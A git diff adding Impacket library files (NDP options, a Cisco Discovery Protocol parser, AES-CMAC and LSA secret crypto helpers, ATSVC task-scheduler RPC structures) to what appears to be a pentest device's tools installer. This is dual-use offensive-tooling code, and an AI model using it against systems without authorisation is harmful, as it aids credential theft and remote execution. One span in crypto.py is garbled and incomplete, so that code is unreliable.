__Link_Layer_Address(class_object, option_type, link_layer_address): + option_length = (len(link_layer_address) / 8) + 1 + option_data = array.array("B", link_layer_address).tostring() + return class_object.__build_option(option_type, option_length, option_data) + + @classmethod + #Note: if we upgraded to Python 2.6, we could use collections.namedtuples for encapsulating the arguments + #ENHANCEMENT - Prefix could be an instance of IP6_Address + def Prefix_Information(class_object, prefix_length, on_link_flag, autonomous_flag, valid_lifetime, preferred_lifetime, prefix): + + flag_byte = 0x00 + if (on_link_flag): + flag_byte |= 0x80 + if (autonomous_flag): + flag_byte |= 0x40 + + option_data = struct.pack('>BBLL', prefix_length, flag_byte, valid_lifetime, preferred_lifetime) + option_data += struct.pack('>L', 0) #Reserved bytes + option_data += array.array("B", prefix).tostring() + option_length = 4 + return class_object.__build_option(NDP_Option.PREFIX_INFORMATION, option_length, option_data) + + + @classmethod + def Redirected_Header(class_object, original_packet): + option_data = struct.pack('>BBBBBB', 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)# Reserved bytes + option_data += array.array("B", original_packet).tostring() + option_length = (len(option_data) + 4) / 8 + return class_object.__build_option(NDP_Option.REDIRECTED_HEADER, option_length, option_data) + + @classmethod + def MTU(class_object, mtu): + option_data = struct.pack('>BB', 0x00, 0x00)# Reserved bytes + option_data += struct.pack('>L', mtu) + option_length = 1 + return class_object.__build_option(NDP_Option.MTU_OPTION, option_length, option_data) + + + @classmethod + def __build_option(class_object, type, length, option_data): + #Pack data + data_bytes = struct.pack('>BB', type, length) + data_bytes += option_data + ndp_option = ImpactPacket.Data() + ndp_option.set_data(data_bytes) + + return ndp_option + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/__init__.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/__init__.py new file mode 100644 index 0000000..92a5d6b --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/__init__.py @@ -0,0 +1,25 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# + +# Set default logging handler to avoid "No handler found" warnings. +import logging +try: # Python 2.7+ + from logging import NullHandler +except ImportError: + class NullHandler(logging.Handler): + def emit(self, record): + pass + +# All modules inside this library MUST use this logger (impacket) +# It is up to the library consumer to do whatever is wanted +# with the logger output. By default it is forwarded to the +# upstream logger + +LOG = logging.getLogger(__name__) +LOG.addHandler(NullHandler()) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/cdp.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/cdp.py new file mode 100644 index 0000000..f9d0dd0 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/cdp.py @@ -0,0 +1,499 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Cisco Discovery Protocol packet codecs. +# +# Author: +# Martin Candurra +# martincad at corest.com + +from struct import unpack +import socket + +from ImpactPacket import Header +from impacket import LOG + +IP_ADDRESS_LENGTH = 4 + +class CDPTypes: + + DeviceID_Type = 1 + Address_Type = 2 + PortID_Type = 3 + Capabilities_Type = 4 + SoftVersion_Type = 5 + Platform_Type = 6 + IPPrefix_Type = 7 + ProtocolHello_Type = 8 + MTU_Type = 17 + SystemName_Type = 20 + SystemObjectId_Type = 21 + SnmpLocation = 23 + +class CDP(Header): + + Type = 0x2000 + OUI = 0x00000c + + def __init__(self, aBuffer = None): + Header.__init__(self, 8) + if aBuffer: + self.load_header(aBuffer) + self._elements = self._getElements(aBuffer) + + def _getElements(self, aBuffer): + # Remove version (1 byte), TTL (1 byte), and checksum (2 bytes) + buff = aBuffer[4:] + l = [] + finish = False + while buff: + elem = CDPElementFactory.create(buff) + data = elem.get_data() + l.append( elem ) + buff = buff[ elem.get_length() : ] + return l + + def get_header_size(self): + return 8 + + def get_version(self): + return self.get_byte(0) + + def get_ttl(self): + return self.get_byte(1) + + def get_checksum(self): + return self.get_word(2) + + def get_type(self): + return self.get_word(4) + + def get_lenght(self): + return self.get_word(6) + + def getElements(self): + return self._elements + + + def __str__(self): + knowcode = 0 + tmp_str = 'CDP Details:\n' + for element in self._elements: + tmp_str += "** Type:" + str(element.get_type()) + " " + str(element) + "\n" + return tmp_str + + +def get_byte(buffer, offset): + return unpack("!B", buffer[offset:offset+1])[0] + +def get_word(buffer, offset): + return unpack("!h", buffer[offset:offset+2])[0] + +def get_long(buffer, offset): + return unpack("!I", buffer[offset:offset+4])[0] + +def get_bytes(buffer, offset, bytes): + return buffer[offset:offset + bytes] + +def mac_to_string(mac_bytes): + bytes = unpack('!BBBBBB', mac_bytes) + s = '' + for byte in bytes: + s += '%02x:' % byte + return s[0:-1] + + + +class CDPElement(Header): + + def __init__(self, aBuffer = None): + Header.__init__(self, 8) + if aBuffer: + self._length = CDPElement.Get_length(aBuffer) + self.load_header( aBuffer[:self._length] ) + + @classmethod + def Get_length(cls, aBuffer): + return unpack('!h', aBuffer[2:4])[0] + + def get_header_size(self): + self._length + + def get_length(self): + return self.get_word(2) + + def get_data(self): + return self.get_bytes().tostring()[4:self.get_length()] + + def get_ip_address(self, offset = 0, ip = None): + if not ip: + ip = self.get_bytes().tostring()[offset : offset + IP_ADDRESS_LENGTH] + return socket.inet_ntoa( ip ) + +class CDPDevice(CDPElement): + Type = 1 + + def get_type(self): + return CDPDevice.Type + + def get_device_id(self): + return CDPElement.get_data(self) + + def __str__(self): + return "Device:" + self.get_device_id() + +class Address(CDPElement): + Type = 2 + + def __init__(self, aBuffer = None): + CDPElement.__init__(self, aBuffer) + if aBuffer: + data = self.get_bytes().tostring()[8:] + self._generateAddressDetails(data) + + def _generateAddressDetails(self, buff): + self.address_details = [] + while buff: + address = AddressDetails.create(buff) + self.address_details.append( address ) + buff = buff[address.get_total_length():] + + def get_type(self): + return Address.Type + + def get_number(self): + return self.get_long(4) + + def get_address_details(self): + return self.address_details + + def __str__(self): + tmp_str = "Addresses:" + for address_detail in self.address_details: + tmp_str += "\n" + str(address_detail) + return tmp_str + +class AddressDetails(): + + PROTOCOL_IP = 0xcc + + @classmethod + def create(cls, buff): + a = AddressDetails(buff) + return a + + + def __init__(self, aBuffer = None): + if aBuffer: + addr_length = unpack("!h", aBuffer[3:5])[0] + self.total_length = addr_length + 5 + self.buffer = aBuffer[:self.total_length] + + def get_total_length(self): + return self.total_length + + def get_protocol_type(self): + return self.buffer[0:1] + + def get_protocol_length(self): + return get_byte( self.buffer, 1) + + def get_protocol(self): + return get_byte( self.buffer, 2) + + def get_address_length(self): + return get_word( self.buffer, 3) + + def get_address(self): + address = get_bytes( self.buffer, 5, self.get_address_length() ) + if self.get_protocol()==AddressDetails.PROTOCOL_IP: + return socket.inet_ntoa(address) + else: + LOG.error("Address not IP") + return address + + def is_protocol_IP(self): + return self.get_protocol()==AddressDetails.PROTOCOL_IP + + def __str__(self): + return "Protocol Type:%r Protocol:%r Address Length:%r Address:%s" % (self.get_protocol_type(), self.get_protocol(), self.get_address_length(), self.get_address()) + +class Port(CDPElement): + Type = 3 + + def get_type(self): + return Port.Type + + def get_port(self): + return CDPElement.get_data(self) + + def __str__(self): + return "Port:" + self.get_port() + + +class Capabilities(CDPElement): + Type = 4 + + def __init__(self, aBuffer = None): + CDPElement.__init__(self, aBuffer) + self._capabilities_processed = False + + self._router = False + self._transparent_bridge = False + self._source_route_bridge = False + self._switch = False + self._host = False + self._igmp_capable = False + self._repeater = False + self._init_capabilities() + + def get_type(self): + return Capabilities.Type + + def get_capabilities(self): + return CDPElement.get_data(self) + + def _init_capabilities(self): + if self._capabilities_processed: + return + + capabilities = unpack("!L", self.get_capabilities())[0] + self._router = (capabilities & 0x1) > 0 + self._transparent_bridge = (capabilities & 0x02) > 0 + self._source_route_bridge = (capabilities & 0x04) > 0 + self._switch = (capabilities & 0x08) > 0 + self._host = (capabilities & 0x10) > 0 + self._igmp_capable = (capabilities & 0x20) > 0 + self._repeater = (capabilities & 0x40) > 0 + + def is_router(self): + return self._router + + def is_transparent_bridge(self): + return self._transparent_bridge + + def is_source_route_bridge(self): + return self._source_route_bridge + + def is_switch(self): + return self._switch + + def is_host(self): + return self.is_host + + def is_igmp_capable(self): + return self._igmp_capable + + def is_repeater(self): + return self._repeater + + + def __str__(self): + return "Capabilities:" + self.get_capabilities() + + +class SoftVersion(CDPElement): + Type = 5 + + def get_type(self): + return SoftVersion.Type + + def get_version(self): + return CDPElement.get_data(self) + + def __str__(self): + return "Version:" + self.get_version() + + +class Platform(CDPElement): + Type = 6 + + def get_type(self): + return Platform.Type + + def get_platform(self): + return CDPElement.get_data(self) + + def __str__(self): + return "Platform:%r" % self.get_platform() + + +class IpPrefix(CDPElement): + Type = 7 + + def get_type(self): + return IpPrefix .Type + + def get_ip_prefix(self): + return CDPElement.get_ip_address(self, 4) + + def get_bits(self): + return self.get_byte(8) + + def __str__(self): + return "IP Prefix/Gateway: %r/%d" % (self.get_ip_prefix(), self.get_bits()) + +class ProtocolHello(CDPElement): + Type = 8 + + def get_type(self): + return ProtocolHello.Type + + def get_master_ip(self): + return self.get_ip_address(9) + + def get_version(self): + return self.get_byte(17) + + def get_sub_version(self): + return self.get_byte(18) + + def get_status(self): + return self.get_byte(19) + + def get_cluster_command_mac(self): + return self.get_bytes().tostring()[20:20+6] + + def get_switch_mac(self): + return self.get_bytes().tostring()[28:28+6] + + def get_management_vlan(self): + return self.get_word(36) + + def __str__(self): + return "\n\n\nProcolHello: Master IP:%s version:%r subversion:%r status:%r Switch's Mac:%r Management VLAN:%r" \ + % (self.get_master_ip(), self.get_version(), self.get_sub_version(), self.get_status(), mac_to_string(self.get_switch_mac()), self.get_management_vlan()) + +class VTPManagementDomain(CDPElement): + Type = 9 + + def get_type(self): + return VTPManagementDomain.Type + + def get_domain(self): + return CDPElement.get_data(self) + + +class Duplex(CDPElement): + Type = 0xb + + def get_type(self): + return Duplex.Type + + def get_duplex(self): + return CDPElement.get_data(self) + + def is_full_duplex(self): + return self.get_duplex()==0x1 + +class VLAN(CDPElement): + Type = 0xa + + def get_type(self): + return VLAN.Type + + def get_vlan_number(self): + return CDPElement.get_data(self) + + + +class TrustBitmap(CDPElement): + Type = 0x12 + + def get_type(self): + return TrustBitmap.Type + + def get_trust_bitmap(self): + return self.get_data() + + def __str__(self): + return "TrustBitmap Trust Bitmap:%r" % self.get_trust_bitmap() + +class UntrustedPortCoS(CDPElement): + Type = 0x13 + + def get_type(self): + return UntrustedPortCoS.Type + + def get_port_CoS(self): + return self.get_data() + + def __str__(self): + return "UntrustedPortCoS port CoS %r" % self.get_port_CoS() + +class ManagementAddresses(Address): + Type = 0x16 + + def get_type(self): + return ManagementAddresses.Type + +class MTU(CDPElement): + Type = 0x11 + + def get_type(self): + return MTU.Type + +class SystemName(CDPElement): + Type = 0x14 + + def get_type(self): + return SystemName.Type + +class SystemObjectId(CDPElement): + Type = 0x15 + + def get_type(self): + return SystemObjectId.Type + +class SnmpLocation(CDPElement): + Type = 0x17 + + def get_type(self): + return SnmpLocation.Type + + +class DummyCdpElement(CDPElement): + Type = 0x99 + + def get_type(self): + return DummyCdpElement.Type + +class CDPElementFactory(): + + elementTypeMap = { + CDPDevice.Type : CDPDevice, + Port.Type : Port, + Capabilities.Type : Capabilities, + Address.Type : Address, + SoftVersion.Type : SoftVersion, + Platform.Type : Platform, + IpPrefix.Type : IpPrefix, + ProtocolHello.Type : ProtocolHello, + VTPManagementDomain.Type : VTPManagementDomain, + VLAN.Type : VLAN, + Duplex.Type : Duplex, + TrustBitmap.Type : TrustBitmap, + UntrustedPortCoS.Type : UntrustedPortCoS, + ManagementAddresses.Type : ManagementAddresses, + MTU.Type : MTU, + SystemName.Type : SystemName, + SystemObjectId.Type : SystemObjectId, + SnmpLocation.Type : SnmpLocation + } + + @classmethod + def create(cls, aBuffer): +# print "CDPElementFactory.create aBuffer:", repr(aBuffer) +# print "CDPElementFactory.create sub_type:", repr(aBuffer[0:2]) + _type = unpack("!h", aBuffer[0:2])[0] +# print "CDPElementFactory.create _type:", _type + try: + class_type = cls.elementTypeMap[_type] + except KeyError: + class_type = DummyCdpElement + #raise Exception("CDP Element type %s not implemented" % _type) + return class_type( aBuffer ) diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/crypto.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/crypto.py new file mode 100644 index 0000000..20d6129 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/crypto.py @@ -0,0 +1,471 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (beto@coresecurity.com) +# +# Description: +# RFC 4493 implementation (http://www.ietf.org/rfc/rfc4493.txt) +# RFC 4615 implementation (http://www.ietf.org/rfc/rfc4615.txt) +# +# NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256 implementation +# (http://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108) +# +# [MS-LSAD] Section 5.1.2 +# [MS-SAMR] Section 2.2.11.1.1 + +from impacket import LOG +try: + from Crypto.Cipher import DES, AES, ARC4 +except Exception: + LOG.error("Warning: You don't have any crypto installed. You need PyCrypto") + LOG.error("See http://www.pycrypto.org/") +from struct import pack, unpack +from impacket.structure import Structure +import hmac, hashlib + +def Generate_Subkey(K): + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# + Algorithm Generate_Subkey + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# + + +# + Input : K (128-bit key) + +# + Output : K1 (128-bit first subkey) + +# + K2 (128-bit second subkey) + +# +-------------------------------------------------------------------+ +# + + +# + Constants: const_Zero is 0x00000000000000000000000000000000 + +# + const_Rb is 0x00000000000000000000000000000087 + +# + Variables: L for output of AES-128 applied to 0^128 + +# + + +# + Step 1. L := AES-128(K, const_Zero); + +# + Step 2. if MSB(L) is equal to 0 + +# + then K1 := L << 1; + +# + else K1 := (L << 1) XOR const_Rb; + +# + Step 3. if MSB(K1) is equal to 0 + +# + then K2 := K1 << 1; + +# + else K2 := (K1 << 1) XOR const_Rb; + +# + Step 4. return K1, K2; + +# + + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + AES_128 = AES.new(K) + + L = AES_128.encrypt('\x00'*16) + + LHigh = unpack('>Q',L[:8])[0] + LLow = unpack('>Q',L[8:])[0] + + K1High = ((LHigh << 1) | ( LLow >> 63 )) & 0xFFFFFFFFFFFFFFFF + K1Low = (LLow << 1) & 0xFFFFFFFFFFFFFFFF + + if (LHigh >> 63): + K1Low ^= 0x87 + + K2High = ((K1High << 1) | (K1Low >> 63)) & 0xFFFFFFFFFFFFFFFF + K2Low = ((K1Low << 1)) & 0xFFFFFFFFFFFFFFFF + + if (K1High >> 63): + K2Low ^= 0x87 + + K1 = pack('>QQ', K1High, K1Low) + K2 = pack('>QQ', K2High, K2Low) + + return K1, K2 + +def XOR_128(N1,N2): + + J = '' + for i in range(len(N1)): + J = J + chr(ord(N1[i]) ^ ord(N2[i])) + return J + +def PAD(N): + const_Bsize = 16 + padLen = 16-len(N) + return N + '\x80' + '\x00'*(padLen-1) + +def AES_CMAC(K, M, length): + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# + Algorithm AES-CMAC + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# + + +# + Input : K ( 128-bit key ) + +# + : M ( message to be authenticated ) + +# + : len ( length of the message in octets ) + +# + Output : T ( message authentication code ) + +# + + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# + Constants: const_Zero is 0x00000000000000000000000000000000 + +# + const_Bsize is 16 + +# + + +# + Variables: K1, K2 for 128-bit subkeys + +# + M_i is the i-th block (i=1..ceil(len/const_Bsize)) + +# + M_last is the last block xor-ed with K1 or K2 + +# + n for number of blocks to be processed + +# + r for number of octets of last block + +# + flag for denoting if last block is complete or not + +# + + +# + Step 1. (K1,K2) := Generate_Subkey(K); + +# + Step 2. n := ceil(len/const_Bsize); + +# + Step 3. if n = 0 + +# + then + +# + n := 1; + +# + flag := false; + +# + else + +# + if len mod const_Bsize is 0 + +# + then flag := true; + +# + else flag := false; + +# + + +# + Step 4. if flag is true + +# + then M_last := M_n XOR K1; + +# + else M_last := padding(M_n) XOR K2; + +# + Step 5. X := const_Zero; + +# + Step 6. for i := 1 to n-1 do + +# + begin + +# + Y := X XOR M_i; + +# + X := AES-128(K,Y); + +# + end + +# + Y := M_last XOR X; + +# + T := AES-128(K,Y); + +# + Step 7. return T; + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + const_Bsize = 16 + const_Zero = '\x00'*16 + + AES_128= AES.new(K) + M = M[:length] + K1, K2 = Generate_Subkey(K) + n = len(M)/const_Bsize + + if n == 0: + n = 1 + flag = False + else: + if (length % const_Bsize) == 0: + flag = True + else: + n += 1 + flag = False + + M_n = M[(n-1)*const_Bsize:] + if flag is True: + M_last = XOR_128(M_n,K1) + else: + M_last = XOR_128(PAD(M_n),K2) + + X = const_Zero + for i in range(n-1): + M_i = M[(i)*const_Bsize:][:16] + Y = XOR_128(X, M_i) + X = AES_128.encrypt(Y) + Y = XOR_128(M_last, X) + T = AES_128.encrypt(Y) + + return T + +def AES_CMAC_PRF_128(VK, M, VKlen, Mlen): +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# + AES-CMAC-PRF-128 + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# + + +# + Input : VK (Variable-length key) + +# + : M (Message, i.e., the input data of the PRF) + +# + : VKlen (length of VK in octets) + +# + : len (length of M in octets) + +# + Output : PRV (128-bit Pseudo-Random Variable) + +# + + +# +-------------------------------------------------------------------+ +# + Variable: K (128-bit key for AES-CMAC) + +# + + +# + Step 1. If VKlen is equal to 16 + +# + Step 1a. then + +# + K := VK; + +# + Step 1b. else + +# + K := AES-CMAC(0^128, VK, VKlen); + +# + Step 2. PRV := AES-CMAC(K, M, len); + +# + return PRV; + +# + + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + if VKlen == 16: + K = VK + else: + K = AES_CMAC('\x00'*16, VK, VKlen) + + PRV = AES_CMAC(K, M, Mlen) + + return PRV + +def KDF_CounterMode(KI, Label, Context, L): +# Implements NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256 +# http://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108 +# Fixed values: +# 1. h - The length of the output of the PRF in bits, and +# 2. r - The length of the binary representation of the counter i. +# Input: KI, Label, Context, and L. +# Process: +# 1. n := [L/h] +# 2. If n > 2r-1, then indicate an error and stop. +# 3. result(0):= empty . +# 4. For i = 1 to n, do +# a. K(i) := PRF (KI, [i]2 || Label || 0x00 || Context || [L]2) +# b. result(i) := result(i-1) || K(i). +# 5. Return: KO := the leftmost L bits of result(n). + h = 256 + r = 32 + + n = L / h + + if n == 0: + n = 1 + + if n > (pow(2,r)-1): + raise "Error computing KDF_CounterMode" + + result = '' + K = '' + + for i in range(1,n+1): + input = pack('>L', i) + Label + '\x00' + Context + pack('>L',L) + K = hmac.new(KI, input, hashlib.sha256).digest() + result = result + K + + return result[:(L/8)] + +# [MS-LSAD] Section 5.1.2 / 5.1.3 +class LSA_SECRET_XP(Structure): + structure = ( + ('Length','> 0x01) ) + OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) ) + OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) ) + OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) ) + OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) ) + OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) ) + OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) ) + OutputKey.append( chr(ord(InputKey[6]) & 0x7F) ) + + for i in range(8): + OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe) + + return "".join(OutputKey) + +def decryptSecret(key, value): + # [MS-LSAD] Section 5.1.2 + plainText = '' + key0 = key + for i in range(0, len(value), 8): + cipherText = value[:8] + tmpStrKey = key0[:7] + tmpKey = transformKey(tmpStrKey) + Crypt1 = DES.new(tmpKey, DES.MODE_ECB) + plainText += Crypt1.decrypt(cipherText) + cipherText = cipherText[8:] + key0 = key0[7:] + value = value[8:] + # AdvanceKey + if len(key0) < 7: + key0 = key[len(key0):] + + secret = LSA_SECRET_XP(plainText) + return (secret['Secret']) + +def encryptSecret(key, value): + # [MS-LSAD] Section 5.1.2 + plainText = '' + cipherText = '' + key0 = key + value0 = pack(' +# AES-CMAC bb1d6929 e9593728 7fa37d12 9b756746 +# -------------------------------------------------- +# +# Example 2: len = 16 +# M 6bc1bee2 2e409f96 e93d7e11 7393172a +# AES-CMAC 070a16b4 6b4d4144 f79bdd9d d04a287c +# -------------------------------------------------- +# +# Example 3: len = 40 +# M 6bc1bee2 2e409f96 e93d7e11 7393172a +# ae2d8a57 1e03ac9c 9eb76fac 45af8e51 +# 30c81c46 a35ce411 +# AES-CMAC dfa66747 de9ae630 30ca3261 1497c827 +# -------------------------------------------------- +# +# Example 4: len = 64 +# M 6bc1bee2 2e409f96 e93d7e11 7393172a +# ae2d8a57 1e03ac9c 9eb76fac 45af8e51 +# 30c81c46 a35ce411 e5fbc119 1a0a52ef +# f69f2445 df4f9b17 ad2b417b e66c3710 +# AES-CMAC 51f0bebf 7e3b9d92 fc497417 79363cfe +# -------------------------------------------------- + def pp(s): + for i in range((len(s)/8)): + print s[:8] , + s = s[8:] + + return '' + + from binascii import hexlify, unhexlify + + K = "2b7e151628aed2a6abf7158809cf4f3c" + M = "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710" + + K1, K2 = Generate_Subkey(unhexlify(K)) + print "Subkey Generation" + print "K ", pp(K) + print "K1 ", pp(hexlify(K1)) + print "K2 ", pp(hexlify(K2)) + print + print "Example 1: len = 0" + print "M " + print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),0))) + print + print "Example 2: len = 16" + print "M " , pp(M[:16*2]) + print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),16))) + print + print "Example 3: len = 40" + print "M " , pp(M[:40*2]) + print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),40))) + print + print "Example 3: len = 64" + print "M " , pp(M[:64*2]) + print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),64))) + print + M = "eeab9ac8fb19cb012849536168b5d6c7a5e6c5b2fcdc32bc29b0e3654078a5129f6be2562046766f93eebf146b" + K = "6c3473624099e17ff3a39ff6bdf6cc38" + # Mac = dbf63fd93c4296609e2d66bf79251cb5 + print "Example 4: len = 45" + print "M " , pp(M[:45*2]) + print "AES-CMAC " , pp(hexlify(AES_CMAC(unhexlify(K),unhexlify(M),45))) + +# ------------------------------------------------------------ +# +# Test Case AES-CMAC-PRF-128 with 20-octet input +# Key : 00010203 04050607 08090a0b 0c0d0e0f edcb +# Key Length : 18 +# Message : 00010203 04050607 08090a0b 0c0d0e0f 10111213 +# PRF Output : 84a348a4 a45d235b abfffc0d 2b4da09a +# +# Test Case AES-CMAC-PRF-128 with 20-octet input +# Key : 00010203 04050607 08090a0b 0c0d0e0f +# Key Length : 16 +# Message : 00010203 04050607 08090a0b 0c0d0e0f 10111213 +# PRF Output : 980ae87b 5f4c9c52 14f5b6a8 455e4c2d +# +# Test Case AES-CMAC-PRF-128 with 20-octet input +# Key : 00010203 04050607 0809 +# Key Length : 10 +# Message : 00010203 04050607 08090a0b 0c0d0e0f 10111213 +# PRF Output : 290d9e11 2edb09ee 141fcf64 c0b72f3d +# +# ------------------------------------------------------------ + + K = "000102030405060708090a0b0c0d0e0fedcb" + M = "000102030405060708090a0b0c0d0e0f10111213" + + print "AES-CMAC-PRF-128 Test Vectors" + print + print "Example 1: len = 0" + print "M " , pp(K) + print "Key Length 18 " + print "AES-CMAC " , pp(hexlify(AES_CMAC_PRF_128(unhexlify(K),unhexlify(M),18,len(unhexlify(M))))) + print + print "Example 1: len = 0" + print "M " , pp(K) + print "Key Length 16 " + print "AES-CMAC " , pp(hexlify(AES_CMAC_PRF_128(unhexlify(K)[:16],unhexlify(M),16,len(unhexlify(M))))) + print + print "Example 1: len = 0" + print "M " , pp(K) + print "Key Length 10 " + print "AES-CMAC " , pp(hexlify(AES_CMAC_PRF_128(unhexlify(K)[:10],unhexlify(M),10,len(unhexlify(M))))) + print + + + + + + + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/__init__.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/__init__.py new file mode 100644 index 0000000..2ae2839 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/__init__.py @@ -0,0 +1 @@ +pass diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/__init__.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/__init__.py new file mode 100644 index 0000000..2ae2839 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/__init__.py @@ -0,0 +1 @@ +pass diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/atsvc.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/atsvc.py new file mode 100644 index 0000000..45f9da0 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/dcerpc/v5/atsvc.py @@ -0,0 +1,211 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: Alberto Solino (@agsolino) +# +# Description: +# [MS-TSCH] ATSVC Interface implementation +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/CoreSecurity/impacket/tree/master/impacket/testcases/SMB_RPC +# +# Some calls have helper functions, which makes it even easier to use. +# They are located at the end of this file. +# Helper functions start with "h". +# There are test cases for them too. +# +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray +from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, UCHAR, ULONG, LPDWORD, NULL +from impacket import hresult_errors +from impacket.uuid import uuidtup_to_bin +from impacket.dcerpc.v5.rpcrt import DCERPCException + +MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B','1.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if hresult_errors.ERROR_MESSAGES.has_key(key): + error_msg_short = hresult_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1] + return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +ATSVC_HANDLE = LPWSTR +# 2.3.1 Constant Values +CNLEN = 15 +DNLEN = CNLEN +UNLEN = 256 +MAX_BUFFER_SIZE = (DNLEN+UNLEN+1+1) + +# 2.3.7 Flags +TASK_FLAG_INTERACTIVE = 0x1 +TASK_FLAG_DELETE_WHEN_DONE = 0x2 +TASK_FLAG_DISABLED = 0x4 +TASK_FLAG_START_ONLY_IF_IDLE = 0x10 +TASK_FLAG_KILL_ON_IDLE_END = 0x20 +TASK_FLAG_DONT_START_IF_ON_BATTERIES = 0x40 +TASK_FLAG_KILL_IF_GOING_ON_BATTERIES = 0x80 +TASK_FLAG_RUN_ONLY_IF_DOCKED = 0x100 +TASK_FLAG_HIDDEN = 0x200 +TASK_FLAG_RUN_IF_CONNECTED_TO_INTERNET = 0x400 +TASK_FLAG_RESTART_ON_IDLE_RESUME = 0x800 +TASK_FLAG_SYSTEM_REQUIRED = 0x1000 +TASK_FLAG_RUN_ONLY_IF_LOGGED_ON = 0x2000 + +################################################################################ +# STRUCTURES +################################################################################ +# 2.3.4 AT_INFO +class AT_INFO(NDRSTRUCT): + structure = ( + ('JobTime',DWORD), + ('DaysOfMonth',DWORD), + ('DaysOfWeek',UCHAR), + ('Flags',UCHAR), + ('Command',LPWSTR), + ) + +class LPAT_INFO(NDRPOINTER): + referent = ( + ('Data',AT_INFO), + ) + +# 2.3.6 AT_ENUM +class AT_ENUM(NDRSTRUCT): + structure = ( + ('JobId',DWORD), + ('JobTime',DWORD), + ('DaysOfMonth',DWORD), + ('DaysOfWeek',UCHAR), + ('Flags',UCHAR), + ('Command',LPWSTR), + ) + +class AT_ENUM_ARRAY(NDRUniConformantArray): + item = AT_ENUM + +class LPAT_ENUM_ARRAY(NDRPOINTER): + referent = ( + ('Data',AT_ENUM_ARRAY), + ) + +# 2.3.5 AT_ENUM_CONTAINER +class AT_ENUM_CONTAINER(NDRSTRUCT): + structure = ( + ('EntriesRead',DWORD), + ('Buffer',LPAT_ENUM_ARRAY), + ) + +################################################################################ +# RPC CALLS 